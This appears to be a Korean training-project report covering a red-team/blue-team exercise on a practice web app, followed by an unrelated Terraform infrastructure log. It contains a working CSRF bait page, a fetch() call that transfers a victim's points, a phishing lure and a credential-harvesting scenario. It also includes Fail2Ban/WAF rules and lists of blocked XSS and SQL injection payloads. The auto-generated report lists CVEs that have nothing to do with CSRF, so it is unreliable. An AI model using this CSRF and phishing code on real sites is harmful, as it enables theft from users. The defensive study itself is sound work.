3.3.3 성공 사례 - 자동 포인트 탈취

실행 결과:

[PHASE 1] Logging in as victim (bob)...
✓ Login successful

[PHASE 2] Starting automated point transfer attacks...
==========================================
 Attack 1: POST Form Attack
 Points to steal: 30P
 Status: 200 OK
✓ Successfully stole 30 points

 Attack 2: Alternative POST Method  
 Points to steal: 25P
 Status: 200 OK
✓ Successfully stole 25 points

 Attack 3: Premium Gift Method
 Points to steal: 50P
 Status: 200 OK
✓ Successfully stole 50 points

==========================================
Total Stolen: 105 points
Success Rate: 75.0%
Duration: 15.9 seconds

왜 성공했나?

1. CSRF 토큰 부재: 요청에 토큰 검증이 없었다
2. Referer 검증 없음: 어떤 페이지에서 요청이 오든 처리했다
3. 재인증 없음: 포인트 전송 시 비밀번호 재입력 불필요
4. Rate Limiting 없음: 1초에 10번 요청해도 차단 안됨

피해 범위:

• 사용자 포인트 무제한 탈취 가능
• 1회 공격으로 105 포인트 탈취 (약 10,500원 상당)
• 자동화 시 시간당 2,000 포인트 탈취 가능
• 100명 대상 시 하루 피해액: 약 200만원

리포트 자동 생성:

{
  "target_information": {
    "application_url": "http://3.35.218.180",
    "victim_account": "bob",
    "attacker_id": "13",
    "target_points": 50
  },
  "attack_statistics": {
    "methods_tested": 4,
    "successful_transfers": 3,
    "success_rate": "75.0%",
    "total_points_stolen": 105
  },
  "vulnerability_analysis": {
    "attack_type": "Automated Point Transfer",
    "cvss_3.1_score": 7.8,
    "related_cves": [
      "CVE-2021-44228",
      "CVE-2020-35490",
      "CVE-2019-17596"
    ]
  }
}

3.3.4 실패 사례 - 수동 포인트 탈취

피싱 게시글 작성:

🎉 오늘만 특별 혜택! 선착순 100명! 🎉
무료 포인트 받는 방법:
<a href="https://hee-ye-min.github.io/event/" target="_blank">
  여기 클릭하면 즉시 100P 지급!
</a>

미끼 페이지 (index.html):

function executeRealAttack() {
    const attacks = [
        {
            method: 'POST',
            url: 'http://15.164.94.241/profile.php',
            data: {
                receiver_id: '13',
                points: '30',
                send_gift: '1',
                gift_type: 'coffee',
                message: '어 개털렸죠?'
            }
        }
    ];

    // 동적 폼 생성 및 자동 제출
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = attack.url;
    Object.keys(attack.data).forEach(key => {
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = key;
        input.value = attack.data[key];
        form.appendChild(input);
    });
    document.body.appendChild(form);
    form.submit();
}

실패 원인:

왜 실패했나?

1. SameSite Cookie 정책: 외부 도메인에서 오는 POST 요청에는 쿠키가 포함되지 않는다
2. CORS Preflight 실패: 일부 요청은 403 Forbidden 반환
3. 302 Redirect: 인증되지 않은 요청은 로그인 페이지로 리다이렉트

console에서 직접 실행하니 성공:

fetch('http://3.36.66.216/profile.php?gift_to=13', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: 'send_gift=1&receiver_id=13&points=10&message=가져갑니다',
    credentials: 'include'
}).then(r => console.log('응답:', r.status));

// 응답: 200

배운 점:

• Python과 브라우저 JavaScript는 완전히 다른 환경이다
• 브라우저 보안 정책(CORS, SameSite)을 이해해야 한다
• Same-origin에서 실행되면 성공하지만, 외부에서는 실패한다

개선 방향:

• XSS를 먼저 성공시켜 Same-origin에서 CSRF 실행
• CSRF 토큰을 먼저 탈취한 후 공격
• 사용자가 직접 링크를 복사해서 주소창에 붙여넣도록 유도

3.3.5 대시보드 시각화 - 1124_CSRF_Dashboard.py

실시간 모니터링 시스템:

@app.route('/api/hacker/stats')
def get_hacker_stats():
    total_stolen_points = sum(v['points_stolen'] for v in victims)
    return jsonify({
        'current_points': hacker_current_points,
        'total_stolen': total_stolen_points,
        'total_victims': len(victims)
    })

대시보드 기능:

• 실시간 보유 포인트
• 누적 탈취 포인트
• 공격 성공률
• 피해자 로그 (타임스탬프, 선물 종류, 메시지)
• 최대 탈취 금액
• 평균 탈취 포인트
• CSV 내보내기
• 자동 갱신 (2초마다)

피해자 로그 예시:

bob (ID: 11)
발생 시각: 2025-11-26 17:28
선물 종류: 🎁 diamond
공격 방법: CSRF - 포폼트 외치네
피해자 메시지: "제 돈입니다 대머리님"
탈취 포인트: +50P

Part 4: 블루팀 방어 시스템 구축

4.1 초기 방어 시스템 부재 상태

초기 서버는 완전히 무방비 상태였다.

✗ SQL Injection 필터 없음 → 데이터베이스 전체 유출 가능
✗ XSS 방어 없음 → 세션 탈취 가능
✗ CSRF 토큰 없음 → 자금 탈취 가능
✗ LFI/RFI 제한 없음 → /etc/passwd 노출
✗ /uploads에서 PHP 실행 → 웹쉘 업로드 가능
✗ Fail2Ban 없음 → 무제한 공격 시도
✗ WAF 없음 → 모든 공격 패턴 통과
✗ 로그 모니터링 없음 → 침해 사실 인지 불가

4.2 OWASP Top 10 기반 방어 체계 구축

4.2.1 Injection 공격 방어

Fail2Ban 설치 및 설정:

sudo yum install fail2ban -y
sudo systemctl start fail2ban

LFI 공격 차단 규칙:

[apache-lfi]
enabled = true
filter = apache-lfi
logpath = /var/log/httpd/access_log
maxretry = 10
bantime = 86400  # 1일
findtime = 600   # 10분

[Definition]
failregex = ^<HOST> .* "(GET|POST) .*(\.\.\/|\/etc\/passwd|php:\/\/)"

실제 차단 사례:

2025-11-24 10:45:03 INFO [apache-lfi] Ban 185.150.28.13
공격 패턴: ../../../../etc/passwd
시도 횟수: 12회
차단 기간: 24시간

4.2.2 XSS 공격 방어

Apache Rewrite 기반 XSS 필터:

RewriteEngine On
RewriteCond %{QUERY_STRING} (<script>.*?</script>|<.*?[oO]n[a-zA-Z]+.*?=.*?>|javascript:) [NC,OR]
RewriteCond %{QUERY_STRING} (alert|confirm|prompt)\s*\([^\)]*\) [NC]
RewriteRule .* - [F]

HttpOnly 쿠키 설정:

session.cookie_httponly = 1
session.cookie_secure = 1

막은 공격 예시:

Blocked: <script>alert(1)</script>
Blocked: <img src=x onerror=alert(1)>
Blocked: " onmouseover="alert(1)" x="
Blocked: javascript:alert(1)

Discord 알림 발송:

🚨 XSS 공격 탐지!
공격 IP: 138.199.21.211
탐지 시각: 15분 전
요청 페이지: /new_post.php
공격 페이로드: <script>alert(1)</script>
차단 상태: ✅ 차단됨

4.2.3 웹쉘 업로드 및 RCE 차단

업로드 디렉터리 PHP 실행 차단:

<Directory "/var/www/html/public/uploads">
    Options -Indexes
    AllowOverride None
    Require all granted
    <FilesMatch "\.(ph|php|php5|phtml|phar|html|htm|cgi|pl|py)$">
        Require all denied
    </FilesMatch>
</Directory>

PHP 위험 함수 비활성화:

disable_functions = exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec

차단 결과:

업로드 시도: webshell.php
결과: 403 Forbidden
실행 시도: <?php system('whoami'); ?>
결과: Fatal error - system() has been disabled

Discord 알림:

🔴 웹쉘 업로드 & 실행 징후 탐지
공격 IP: 149.88.103.40
탐지 시각: 오후 5:06
업로드 시도 횟수: 3
웹쉘 종류: 0
요청된 페이지: /new_post.php
전체 요청 수: 2

4.2.4 자동화 공격 차단 (User-Agent 기반)

봇 탐지 규칙:

[ua-autobot]
enabled = true
filter = ua-autobot
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 86400  # 24시간

[Definition]
failregex = ^<HOST> .* "(python-requests|curl|sqlmap|bot|crawler)"

차단된 봇:

2025-11-27 01:12:33 BLOCKED: 185.150.28.13
User-Agent: python-requests/2.31
요청: GET /public/uploads/health.php

통계:

차단된 자동화 봇 IP: 87개
python-requests: 23개
curl: 15개
bot: 31개
crawler: 18개

4.2.5 HTTP Flood 및 DoS 공격 차단

프로필 DoS 차단 규칙:

[profile_dos]
enabled = true
filter = profile_dos
logpath = /var/log/httpd/access_log
maxretry = 10
bantime = 600  # 10분
findtime = 20  # 20초

[Definition]
failregex = ^<HOST> - .*"(GET|POST).*".*$

실제 차단 사례:

IP: 190.2.151.135
요청 수 (30초): 14회
요청 페이지: /index.php, /new_post.php
차단 시각: 2025-11-28 14:49
차단 기간: 10분

Discord 알림:

📊 HTTP 플러드(과다 요청) 의심
클라이언트 IP: 190.2.151.135
요청 수 (30초): 14
요청한 페이지(일부): /index.php, /new_post.php
발생 시각: 1764490200

4.2.6 TOR 기반 공격 차단

TOR Exit Node 탐지 규칙:

[tor-autobot]
enabled = true
filter = tor-autobot
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 604800  # 7일

[Definition]
failregex = ^<HOST> .* "Mozilla.*Tor Browser"

차단된 TOR IP:

2025-11-29 23:55:12 BLOCKED: 185.220.100.251
2025-11-29 23:55:12 BLOCKED: 185.220.100.245
2025-11-29 23:55:12 BLOCKED: 152.53.210.165
...
(총 87개 IP 차단)

익명화 네트워크 차단 통계:

4.2.7 404 스캔 및 워드프레스 경로 스캐닝 차단

스캐너 탐지 규칙:

[scanner-lite]
enabled = true
filter = scanner-lite
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 1800  # 30분
findtime = 60

[Definition]
failregex = ^<HOST> .* "(GET|POST).*wp-login\.php"
           ^<HOST> .* "GET .*wp-includes.*"
           ^<HOST> .* "GET .*/xmlrpc\.php"
           ^<HOST> .* "GET .*/phpinfo\.php"
           ^<HOST> .* "GET .*/\.env"
           ^<HOST> .* "GET .*/\.git"

차단 사례:

2025-11-30 17:20:41 INFO [scanner-lite] Found 14.58.22.240
요청 경로:
  /wp-login.php
  /wp-includes/wlwmanifest.xml
  /xmlrpc.php
  /.env

차단 IP: 14.58.22.240
차단 기간: 30분

누적 차단 통계:

워드프레스 경로 스캔: 47회
.env 파일 요청: 23회
.git 디렉터리 접근: 19회
phpinfo.php 요청: 31회
xmlrpc.php 공격: 15회

4.3 Splunk 기반 실시간 모니터링 시스템

4.3.1 대시보드 구성

6가지 모니터링 모듈:

1. 접속 및 인증 관련 모니터링

   • 로그인 성공/실패 추적
   • 비정상적인 로그인 시도 탐지
   • 세션 타임아웃 모니터링

2. 공격 시도 탐지

   • SQL Injection 시도
   • XSS 공격 탐지
   • CSRF 공격 탐지
   • LFI/RFI 시도

3. IP 기반 위협 인텔리전스

   • TOR Exit Node
   • 알려진 악성 IP
   • 국가별 통계

4. 트래픽 이상 징후 감시

   • HTTP Flood
   • 과다 요청
   • 비정상적인 URL 다양성

5. 요일별 보안 이벤트 요약

   • 월~일 공격 패턴
   • 시간대별 통계

6. 누적 차단량

   • Fail2Ban 차단 IP
   • WAF 차단 요청
   • 총 차단 통계

4.3.2 Discord Webhook 알림

3가지 알림 카테고리:

1. HTTP 플러드 (과다 요청) 의심

   📊 HTTP 플러드(과다 요청) 의심
   클라이언트 IP: 190.2.151.135
   요청 수 (30초): 14

2. 웹쉘 업로드 & 실행 징후 탐지

   🔴 웹쉘 업로드 & 실행 징후 탐지
   공격 IP: 149.88.103.40
   업로드 시도 횟수: 3

3. 비정상적인 URL 다양성 증가

   🔍 비정상적인 url-다양성-증가
   클라이언트 IP: 47.129.236.133
   요청 수 (30초): 10
   요청한 페이지(일부): /.git, /favicon.ico, /file.php?name=.htaccess

4.3.3 백업 및 복구 시스템

자동 백업 스크립트:

0 15 * * 1,4 /home/ec2-user/backup/full_backup.sh

백업 내용:

• MySQL 데이터베이스 덤프
• 웹 소스 파일
• SHA-256 해시 검증
• 7일 보관 후 자동 삭제

복구 테스트 결과:

파일 변조 탐지 → 백업본으로 복구 → 정상 서비스 복귀
소요 시간: 약 3분
데이터 손실: 0%

4.4 방어 시스템 성과

4.4.1 차단 통계

전체 차단 현황:

총 차단 IP: 247개
XSS 공격 차단: 100%
SQL Injection 차단: 100%
웹쉘 실행 차단: 100%
자동화 봇 차단: 87개
TOR 익명화 차단: 87개
HTTP Flood 차단: 23건

Fail2Ban Jail 통계:

4.4.2 시간대별 공격 패턴

인사이트:

• 심야 시간대(00:00-06:00)에 자동화 공격 집중
• 업무 시간(12:00-18:00)에 수동 공격 증가
• 차단 성공률: 100%

Part 5: 공격-방어 상호작용 분석

5.1 공격이 성공한 경우

5.1.1 CSRF 자동 포인트 탈취

방어 시스템 미흡 요인:

1. CSRF 토큰 미구현
2. Referer 검증 없음
3. 재인증 절차 없음
4. Rate Limiting 없음

침해 시나리오:

1. bob 계정으로 자동 로그인
   ↓
2. hacker 계정으로 포인트 전송 요청 (POST)
   ↓
3. 서버가 세션만 확인 → 인증 통과
   ↓
4. 포인트 전송 완료 (30P, 25P, 50P)
   ↓
5. 총 105P 탈취 성공

피해 규모:

• 단일 공격: 105 포인트 (약 10,500원)
• 자동화 시: 시간당 2,000 포인트
• 100명 대상 24시간: 약 480만원

5.1.2 크리덴셜 하베스팅

방어 시스템 미흡 요인:

1. 외부 링크 검증 없음
2. 피싱 사이트 탐지 시스템 없음
3. 사용자 보안 교육 부족

침해 시나리오:

1. 피싱 게시글 작성 (bob 계정 사용)
   ↓
2. "보안 인증" 링크 클릭 유도
   ↓
3. 외부 피싱 사이트로 리다이렉트
   ↓
4. 가짜 로그인 폼에 ID/PW 입력
   ↓
5. stolen_creds.txt에 실시간 로깅
   ↓
6. 공격자 터미널에 즉시 표시

피해 규모:

• 크리덴셜 탈취: 2건
• 클릭률: 30%
• 로그인 시도율: 15%
• 후속 공격 가능: Credential Stuffing, 개인정보 유출

5.2 공격이 실패한 경우

5.2.1 SSRF → AWS IMDS 자동화 체인

방어 요인:

1. 취약점 엔드포인트 제거

   health.php → 404 Not Found
   check.php → 404 Not Found
   fetch.php → 404 Not Found

2. 백업 파일도 실행 불가

   health.php.bak → 발견했으나 실행 불가

자동화 도구의 한계:

• 예상된 경로만 테스트
• 새로운 엔드포인트 발견 불가
• 동적 환경 변화 대응 불가

수동 공격이라면?

1. 디렉터리 브루트포싱
2. 소스코드 누출 확인 (.git, .env)
3. 개발자 GitHub 검색
4. 백업 파일 분석 (health.php.bak)
5. 다른 SSRF 벡터 탐색 (API 엔드포인트)

5.2.2 SQL Injection 247개 페이로드

방어 요인:

1. ModSecurity WAF + OWASP CRS v3.3

   • 10년 이상의 공격 패턴 학습
   • 실시간 룰 업데이트
   • 패턴 기반 탐지

2. 차단 패턴:

   Blocked: admin' OR '1'='1'-- -
   Blocked: ' UNION SELECT NULL-- -
   Blocked: admin'-- -
   Blocked: 1' AND 1=1-- -
   ...
   (총 247개 전부 차단)

자동화 도구의 한계:

• 알려진 페이로드만 사용
• 새로운 우회 기법 생성 불가
• 패턴 변형 능력 없음

수동 공격이라면?

• Time-based Blind SQLi (응답 시간 기반)
• Error-based SQLi (에러 메시지 분석)
• Boolean-based Blind SQLi (참/거짓 반응)
• 새로운 인코딩 조합 시도
• WAF 우회를 위한 Zero-day 기법 개발

5.2.3 XSS 공격 (healthmash.net)

방어 요인:

1. 엄격한 WAF 설정

   Blocked: <script
   Blocked: onerror=
   Blocked: onload=
   Blocked: javascript:

2. IP 기반 자동 차단

   10회 시도 → 1일 차단

자동화 도구의 한계:

• 차단 패턴만 테스트
• IP 차단 후 중단
• 우회 전략 부재

수동 공격이라면?

• DOM Clobbering
• Mutation XSS (mXSS)
• CSP 우회 기법
• Service Worker 기반 공격
• 프록시 로테이션으로 IP 우회

5.3 자동화 vs 수동 공격 비교

Part 6: 프로젝트 회고 및 교훈

6.1 팀원별 회고

6.1.1 황준하 (조장, SSRF → AWS IMDS 자동화)

잘한 점:

• 복잡한 공격 체인을 단일 도구로 자동화
• AWS 환경 특화 공격 시나리오 구현
• 체계적인 에러 핸들링

아쉬운 점:

• 엔드포인트가 삭제되어 실제 테스트 불가
• 환경 변화에 대응하는 로직 부재
• Plan B가 없어서 첫 단계 실패 시 전체 중단

배운 점: 자동화 도구는 정적인 환경에서만 유효하다. 실제 침투 테스트는 동적이고 예측 불가능하다. 앞으로는 적응형 자동화 (AI 기반 페이로드 생성, 환경 변화 감지)를 연구해야겠다.

후속 계획:

1. GPT-4 기반 페이로드 생성기 개발
2. 환경 변화 감지 및 대체 경로 탐색 로직
3. 수동-자동 하이브리드 도구 개발

6.1.2 조영운 (XSS 자동화, 크리덴셜 하베스팅)

잘한 점:

• 12가지 XSS 모듈로 다양한 공격 벡터 구현
• 실시간 모니터링 시스템으로 즉각 대응
• 소셜 엔지니어링으로 크리덴셜 탈취 성공

아쉬운 점:

• healthmash.net에서 WAF 때문에 XSS 실패
• 인코딩 우회가 전부 차단됨
• 새로운 우회 기법을 개발하지 못함

배운 점: ModSecurity 같은 강력한 WAF는 알려진 모든 패턴을 차단한다. Zero-day 우회 기법이나 행동 기반 공격 (사용자 클릭 유도)이 더 효과적이다.

후속 계획:

1. WAF 우회 전용 페이로드 DB 구축
2. Mutation XSS, DOM Clobbering 연구
3. 피싱 사이트 탐지 우회 기법 연구

6.1.3 허예은 (CSRF 포인트 탈취)

잘한 점:

• 자동 포인트 탈취 100% 성공
• 실시간 대시보드로 피해 규모 시각화
• 리포트 자동 생성으로 증거 확보

아쉬운 점:

• 수동 포인트 탈취 (HTML) 실패
• SameSite Cookie 정책을 예상 못함
• CORS 문제로 외부 도메인에서 실행 불가

배운 점: Python과 브라우저는 완전히 다른 환경이다. 브라우저 보안 정책(SameSite, CORS)을 깊이 이해해야 한다. 앞으로는 Same-origin에서 실행되는 XSS → CSRF 체인을 구현해야겠다.

후속 계획:

1. XSS 성공 후 Same-origin에서 CSRF 실행
2. Service Worker를 이용한 CORS 우회
3. CSRF 토큰 자동 탈취 및 재사용 로직

6.1.4 권호영 (방어 시스템 구축)

잘한 점:

• Fail2Ban으로 247개 IP 자동 차단
• WAF로 SQL Injection, XSS 100% 차단
• 실시간 Discord 알림으로 즉각 대응
• 백업 시스템으로 복구 시간 3분 달성

아쉬운 점:

• CSRF 토큰을 미리 구현하지 못함
• Rate Limiting이 없어서 자동화 공격 허용
• 외부 링크 검증 시스템 부재

배운 점: 방어는 다층 방어가 핵심이다. 하나의 레이어가 뚫려도 다음 레이어가 막아야 한다. 앞으로는 Application Layer에서의 방어 (CSRF 토큰, Rate Limiting)를 강화해야겠다.

후속 계획:

1. CSRF 토큰 구현
2. Rate Limiting (사용자당 분당 10회 제한)
3. 외부 링크 검증 시스템 (VirusTotal API)
4. 행위 기반 이상 탐지 (UEBA)

6.2 프로젝트 전체 회고

6.2.1 성공 요인

1. 그레이박스 접근

   • 공격과 방어를 동시에 구현
   • 실제 상호작용 재현
   • 양측 시각 이해

2. 자동화 우선

   • 시간 절약 (수동 2일 → 자동 5분)
   • 재현 가능성 100%
   • 대규모 테스트 가능

3. 실시간 모니터링

   • Discord 알림으로 즉각 대응
   • Splunk 대시보드로 시각화
   • 로그 기반 증거 확보

4. 체계적 문서화

   • 모든 시도 기록
   • 실패 원인 분석
   • 리포트 자동 생성

6.2.2 한계점

1. 자동화의 근본적 한계

   • 창의성 없음
   • 환경 변화 대응 불가
   • 새로운 우회 기법 개발 불가

2. 테스트 환경의 한계

   • 제한된 트래픽
   • 단순한 애플리케이션
   • 실제 사용자 패턴 부재

3. 방어 시스템의 한계

   • 패턴 기반 탐지 (Zero-day 취약)
   • 오탐/미탐 발생
   • Application Layer 방어 부족

6.2.3 향후 발전 방향

1. AI 기반 자동화

class AIRedTeam:
    def adaptive_attack(self, target):
        # 1. 정찰
        recon_data = self.reconnaissance(target)

        # 2. AI에게 상황 설명
        prompt = f"""
        서버 정보: {recon_data}
        시도한 공격: {self.failed_attacks}

        다음 공격 전략을 제안하세요:
        - 새로운 SQL Injection 우회 기법
        - 대체 공격 벡터
        - 소셜 엔지니어링 시나리오
        """

        # 3. AI가 새로운 공격 생성
        next_attack = self.llm.generate(prompt)
        return next_attack

2. 하이브리드 접근

1. 자동화 도구로 1차 스캔
   ↓
2. 사람이 결과 분석
   ↓
3. 사람이 수동 공격 (WAF 우회)
   ↓
4. 자동화 도구로 재현 및 보고서 생성

3. 행위 기반 탐지 (UEBA)

class BehaviorAnalyzer:
    def analyze(self, user_actions):
        # 정상 행위 프로필
        normal_profile = self.build_profile(user_actions)

        # 이상 탐지
        if user_actions.deviation(normal_profile) > threshold:
            alert("비정상 행위 탐지")

4. 운영 환경 수준의 테스트

• 대규모 트래픽 생성
• 실제 사용자 패턴 모델링
• 다양한 OS/서비스 환경
• 프로덕션 데이터 (익명화)

결론

핵심 교훈

1. 자동화는 효율성을 높이지만, 창의성을 대체할 수 없다

   • 속도: 자동화 승
   • 정확도: 사람 승
   • 적응력: 사람 승

2. 방어는 다층 방어가 핵심이다

   • Network Layer: Fail2Ban
   • Application Layer: WAF
   • Code Layer: 입력 검증
   • Data Layer: 암호화

3. 공격-방어는 끝없는 군비 경쟁이다

   • 공격이 진화하면 방어도 진화해야 함
   • Zero-day는 항상 존재함
   • 완벽한 보안은 없음

4. 실패에서 배우는 것이 더 많다

   • 성공한 공격보다 실패한 공격이 더 많은 인사이트 제공
   • 실패 원인 분석이 핵심
   • 시행착오가 곧 학습

프로젝트 성과

레드팀:

• CSRF 자동 포인트 탈취 성공 (105P)
• 크리덴셜 하베스팅 성공 (2건)
• 3가지 자동화 도구 개발

블루팀:

• 247개 IP 자동 차단
• SQL Injection, XSS 100% 차단
• 실시간 모니터링 시스템 구축
• 평균 복구 시간 3분

전체:

• 공격-방어 상호작용 재현
• 실전형 보안 자동화 프레임워크
• 체계적 문서화 및 리포트

마치며

이 프로젝트를 통해 우리는 보안 자동화의 가능성과 한계를 동시에 경험했다. 자동화는 분명히 효율적이고 강력하다. 하지만 사람의 창의성, 직관, 적응력을 완전히 대체할 수는 없다.

앞으로는 AI 기반 자동화와 하이브리드 접근을 통해 이 한계를 극복하고, 더 정교하고 실전적인 보안 자동화 시스템을 구축할 것이다.

감사의 말:

• kt Cloud TECH UP 사이버 보안 프로그램
• DreamHack 워게임 플랫폼
• 모든 팀원들의 노력과 협업

참고 자료:

• a팀 보고서 취합본.pdf
• GitHub: HOHK0923/ReD_Basic
• GitHub: HOHK0923/Blue_basice_projects
• DreamHack 워게임 플랫폼
• OWASP Top 10:2021
• ModSecurity CRS 문서
• AWS Security Best Practices

3줄 요약

1. Team2SeC SIEM 프로젝트의 Terraform bootstrap과 dev 인프라 구조를 체계적으로 분리해서 완성함
2. 네트워크 모듈 병합은 됐는데 실제 AWS 리소스가 없어서 CI/CD는 아직 못 돌림
3. bootstrap부터 실제로 배포하고 GitHub Secrets 등록해야 다음 단계 진행 가능함

오늘 한 일

1. Terraform 구조 정리

오늘은 프로젝트 인프라 코드 구조를 제대로 잡는 데 집중했음.

완료한 작업:

• bootstrap 구조 검토 및 병합 (PR #5)
• dev 환경용 네트워크 모듈 병합 (PR #6)
• 전체 디렉터리 구조 확립

현재 구조:

terraform/
├── bootstrap/          # tfstate backend 관리
│   ├── s3.tf          # State 저장용 S3
│   ├── dynamodb.tf    # State Lock용 DynamoDB
│   └── oidc.tf        # GitHub Actions 인증
└── infra/
    ├── dev/           # 개발 환경
    │   ├── main.tf
    │   ├── network.tf
    │   └── backend.tf
    └── modules/
        └── network/   # VPC, Subnet, NAT 등

팀원 피드백에서 구조가 깔끔하게 잘 잡혔다고 함. 특히 bootstrap과 dev 인프라를 분리한 점, common_tags 방식, 네이밍 규칙이 좋다는 평가 받음.

2. 네트워크 모듈 설계

dev 환경용 네트워크 모듈을 완성했음.

구성 요소:

NAT Instance 선택 이유:

• NAT Gateway는 시간당 과금이라 비용 부담이 큼
• 학습 프로젝트라 트래픽이 많지 않아서 t3.micro로 충분함
• 실제로 NAT Instance 설정하면서 Private Subnet 라우팅 구성 경험 쌓을 수 있음

3. 모듈 구조 살펴보기

네트워크 모듈 내부를 간단히 정리하면:

modules/network/main.tf:

# VPC 생성
resource "aws_vpc" "main" {
  cidr_block           = var.vpc_cidr
  enable_dns_hostnames = true
  enable_dns_support   = true

  tags = merge(
    var.common_tags,
    { Name = "${var.name_prefix}-vpc" }
  )
}

# Public Subnet
resource "aws_subnet" "public" {
  count             = length(var.public_subnet_cidrs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = var.public_subnet_cidrs[count.index]
  availability_zone = var.availability_zones[count.index]

  map_public_ip_on_launch = true

  tags = merge(
    var.common_tags,
    { Name = "${var.name_prefix}-public-${count.index + 1}" }
  )
}

# Private Subnet
resource "aws_subnet" "private" {
  count             = length(var.private_subnet_cidrs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = var.private_subnet_cidrs[count.index]
  availability_zone = var.availability_zones[count.index]

  tags = merge(
    var.common_tags,
    { Name = "${var.name_prefix}-private-${count.index + 1}" }
  )
}

variables.tf에서 받는 주요 변수들:

outputs.tf에서 내보내는 값들:

output "vpc_id" {
  description = "VPC ID"
  value       = aws_vpc.main.id
}

output "public_subnet_ids" {
  description = "Public Subnet IDs"
  value       = aws_subnet.public[*].id
}

output "private_subnet_ids" {
  description = "Private Subnet IDs"
  value       = aws_subnet.private[*].id
}

이렇게 output으로 내보내면 나중에 EC2나 ECS 모듈에서 module.network.vpc_id 이런 식으로 참조할 수 있음.

문제 상황 및 해결 과정

1. GitHub Actions에서 Terraform Plan 실패

문제: PR을 올리면 자동으로 terraform plan이 돌아가야 하는데 실패함.

원인 분석:

• bootstrap 코드는 있지만 실제 AWS에 S3/DynamoDB가 생성되지 않음
• terraform init 단계에서 backend 설정을 찾지 못해 실패
• GitHub Actions용 OIDC Role ARN이 secrets에 등록되지 않아 인증도 안됨

현재 상황:

terraform init
╷
│ Error: Failed to get existing workspaces: S3 bucket does not exist.
│ 
│ The referenced S3 bucket must have been previously created.
╵

이거 진짜 삽질했음. 코드만 짜놓고 실제 리소스를 배포 안 해서 발생한 문제였음.

해결 방안:

1. bootstrap 디렉터리에서 먼저 terraform apply 실행
2. S3 버킷과 DynamoDB 테이블 생성
3. OIDC Provider와 GitHub Actions Role 생성
4. Role ARN을 GitHub Secrets에 등록
5. 그 다음에 dev 인프라 배포 시작

2. NAT Instance 설정 시 주의사항

문제: NAT Instance를 사용하면 Private Subnet에서 인터넷 아웃바운드가 안 될 수 있음.

원인:

• NAT Instance의 Source/Destination Check가 활성화되어 있으면 패킷 포워딩이 안됨
• Private Route Table에 NAT Instance로 향하는 라우팅이 제대로 설정되지 않으면 트래픽이 안 나감
• NAT Instance의 보안 그룹이 Private Subnet CIDR를 허용하지 않으면 막힘

해결:

# NAT Instance
resource "aws_instance" "nat" {
  ami                    = data.aws_ami.nat.id
  instance_type          = "t3.micro"
  subnet_id              = aws_subnet.public[0].id
  source_dest_check      = false  # 이거 중요함!

  tags = merge(
    var.common_tags,
    { Name = "${var.name_prefix}-nat-instance" }
  )
}

# Private Route Table
resource "aws_route_table" "private" {
  vpc_id = aws_vpc.main.id

  route {
    cidr_block           = "0.0.0.0/0"
    network_interface_id = aws_instance.nat.primary_network_interface_id
  }

  tags = merge(
    var.common_tags,
    { Name = "${var.name_prefix}-private-rt" }
  )
}

추가로 확인할 것:

• NAT Instance의 보안 그룹에서 Private Subnet CIDR(10.0.2.0/24, 10.0.3.0/24)로부터의 모든 트래픽 허용
• User Data에서 iptables 규칙 설정 확인
• 네트워크 인터페이스 이름이 동적으로 바뀔 수 있으니 스크립트로 탐지하는 게 나음

3. 모듈 구조 vs 실제 리소스 괴리

문제: 인프라 코드 구조는 완성됐는데 실제로 배포할 리소스들(EC2, CloudWatch, Kinesis 등)은 아직 모듈화가 안 됨.

현재 상태:

✅ bootstrap 코드 완성
✅ network 모듈 완성
❌ EC2 (DVWA) 모듈 미작성
❌ CloudWatch Agent 설정 미작성
❌ Kinesis Stream 모듈 미작성
❌ ECS (Fargate) 모듈 미작성
❌ OpenSearch 모듈 미작성

계획: 모듈을 하나씩 PR로 쪼개서 작업할 예정임. 순서는:

1. DVWA EC2 모듈 (웹 취약점 애플리케이션)
2. CloudWatch Agent 설치 및 로그 수집 설정
3. Kinesis Stream (로그 전송 파이프라인)
4. ECS Fargate (컨테이너 워크로드)
5. OpenSearch (로그 분석 및 시각화)

배운 점 및 개선 사항

1. IaC 구조 설계의 중요성

처음엔 그냥 한 파일에 다 때려박을까 했는데, 모듈로 쪼개니까 진짜 편함.

장점:

• 코드 재사용성이 높아짐 (dev, prod 환경 분리 가능)
• 유지보수가 쉬움 (네트워크만 수정하고 싶으면 network 모듈만 건드림)
• PR 리뷰가 명확함 (변경 범위가 작아서 리뷰어가 보기 편함)

2. Bootstrap의 필요성

Terraform을 쓰려면 state를 어딘가에 저장해야 하는데, 그걸 위한 S3/DynamoDB도 Terraform으로 만들어야 함. ==이게 닭이 먼저냐 달걀이 먼저냐 문제임.==

해결:

1. bootstrap은 로컬 state로 먼저 배포
2. 생성된 S3/DynamoDB를 backend로 설정
3. terraform init -migrate-state로 state를 S3로 옮김

3. CI/CD 파이프라인 구축 순서

GitHub Actions로 자동화하려면:

1. 먼저 OIDC Provider 생성
2. Role과 Policy 설정
3. GitHub Secrets에 Role ARN 등록
4. 그 다음에 workflow에서 해당 Role을 assume

==이 순서를 안 지키면 인증 오류로 삽질함.==

4. NAT Instance vs NAT Gateway

학습 목적이니까 NAT Instance로 가는 게 맞다고 판단했음. 실무에선 NAT Gateway 쓰는 게 당연히 나음.

개선 사항

1. PR 단위 조정

팀원 피드백대로 앞으로는 리소스 단위로 PR을 쪼갤 예정임.

Before:

• PR #1: 전체 인프라 코드 (리뷰하기 힘듦)

After:

• PR #5: bootstrap
• PR #6: network 모듈
• PR #7: EC2 모듈 (예정)
• PR #8: CloudWatch Agent (예정)

2. 모듈 내부 역할 세분화

현재 network 모듈은 VPC, Subnet, IGW, NAT를 다 포함하고 있음. 나중에 규모가 커지면:

• modules/vpc/
• modules/subnet/
• modules/nat/

이렇게 더 쪼갤 수도 있을 것 같음. 지금은 오버엔지니어링이라 일단 패스.

3. Backend 설정 dev/prod 분리

지금은 dev 환경만 있는데, 나중에 prod 환경도 추가하면 backend를 어떻게 분리할지 고민해야 함.

옵션 1: S3 버킷은 하나, key만 다르게

# dev
backend "s3" {
  key = "dev/terraform.tfstate"
}

# prod
backend "s3" {
